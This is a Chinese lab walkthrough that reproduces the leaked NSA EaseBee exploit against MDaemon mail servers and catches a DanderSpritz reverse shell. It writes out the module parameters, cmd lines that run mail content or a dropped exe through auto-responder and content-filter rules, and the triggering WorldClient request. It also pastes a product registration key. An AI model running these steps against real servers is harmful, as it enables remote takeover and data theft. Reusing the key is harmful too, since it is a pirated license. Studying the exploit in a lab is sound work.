阿尔法实验室:雨夜
0×01 概述
EaseBee是NSA开发的针对邮件系统MDaemon代码执行漏洞的一个工具,它支持多个版本MDaemon是一款著名的标准SMTP/POP/IMAP邮件服务系统,由美国Alt-N公司开发。它提供完整的邮件服务器功能,保护用户不受垃圾邮件的干扰,实现网页登陆收发邮件,支持远程管理,并且当与MDaemon AntiVirus插件结合使用时,它还保护系统防御邮件病毒。它安全,可靠,功能强大,是世界上成千上万的公司广泛使用的邮件服务器。
0×02 环境搭建
在靶机上安装 MDaemon 9.6.6
如果遇到下图错误
请参考http://www.jb51.net/os/windows/Win2003/85144.html解决,否则MDaemon无法启动
注册码:FNATFSY-CPBSDWO-AKOKPXX
域名自行设置 test.com (后面要用到)
将“此账户是管理员”选上
0×03 漏洞验证
在攻击机上运行fb.py,并设置基本参数
使用 EaseBee 模块
这个模块的参数比较多,其中
TargetWCPort :3000 (默认3000)
TargetWAPort : 1000
WorldClientProtocol : http(默认为non-ssl),可以查看服务器
WorldClientDomain : 192.167.30.201,如果输入配置的域名需要修改HOSTS文件(为了方便直接输入IP)
WorldClientPort :3000
WebAdminProtocol :http
WebAdminDomain :192.167.30.201
WebAdminPort : 1000
TargetAcctDomain : test.com (安装时输入的域名)
TargetAcctUsr: hello (这里一定不要带 @test.com)
TargetAcctPwd : Test123
PayloadName:111.exe
PayloadFile:C:\
运行后一直提示无法找到payload file (此处浪费了不少时间)
之后又试了靶机的几个路径都提示同样的错误,无奈找@漠北狂刀大牛逆了一下这个exe,通过找错误提示的字符串快速定位到代码位置
从图中可以看出参数读取后,有一个fopen的动作,Filename对应的参数就是PayloadFile,所以应该是一个全路径
输入完整路径
PayloadFile c:\111.exe (111.exe生成方法,下文会说)
这里选择安装的MDaemon中WorldClient对应的版本号即可,如果不知道版本号可以用
\windows\touches\目录下的两个脚本,帮助探测WC与WA的版本号
0×04 DanderSpritz工具介绍
网上有好多同学在反连shell的时候都是用msf,其实这个工具包里自带的就有一个好用的工具DanderSpritz
双击Start.jar或者运行start_lp.py,如图
设置log路径,进入主界面
输入help,查看命令
各个命令的作用可以自己研究
输入pc_prep,查看payload列表
选择3,使用Standard TCP反弹shell,根据提示配置参数
配置成功后,生成payload,将文件copy到C:\111.exe
在PeddleCheap中选择listen,开启监听(默认监听端口80/443/53/1509)
在FB中执行 execute
大约几秒后DanderSpritz会有连接提示
输入yes,靶机的系统信息被回传显示
进程信息
驱动信息
0×05 MDaemon漏洞分析
根据log文件分析,MDaemon存在几处执行命令的地方
使用hello登录WA,查看 My Account->Auto Resp
在设置自动回复的地方存在一处命令执行(需要有管理员权限)
勾选自动回复
在Run Program(普通用户无此选项)处输入
cmd /c “type $MESSAGE$ | findstr /b @@ | cmd /v”
给hello@test.com发送邮件, payload(读取服务器文件内容)如下
发送后,在hello的收件箱里可以看到服务器的信息
路径信息
找到MDaemon的物理路径及密文
MDaemon是内置的账户,查看明文密码的方法如下:
点击Users->Export用户信息保存在导出文件里
使用MDaemon账户登录WA,在Content Filter中,新建过滤规则
将以下几项选上
设置内容
过滤的字符串SUBJECT HEADER contains “subject”
指定上传的附件名:EmailFile (附件为上文中生成的111.exe)
Run a program :
File Path写入:
cmd /c “move /Y EmailFile c:\111.exe & c:\111.exe & del c:\111.exe”
c:\111.exe为上传到服务器的路径
使用hello登录WC
发送邮件主题为qwe
再次发送一封带附件的(EmailFile)邮件,主题:subject(设置的过滤字符串)
添加附件
再次发送邮件
Payload:
http://192.167.30.201:3000/WorldClient.dll?Session=DSMQIQW&View=Compose&ComposeInNewWindow=Yes&ChangeView=No&SendNow=Yes
postdata:
可以看到111.exe已经运行了
0×06 总结
1.使用EasyBee的时候遇到了几个坑(其中xml文件中有这么几个提示“Filename for executable payload once on the target”,当时在target试了好几次没成功),浪费了不少时间。所以说自己在写工具的时候备注、用法一定得详细,否则容易误导
2.第一次测试是在10.0.1上,未成功,在9.6.6上测试成功,其他版本未测试。根据xml的说明,EaseBee应该只对 9.5.2-10.1.2版本有用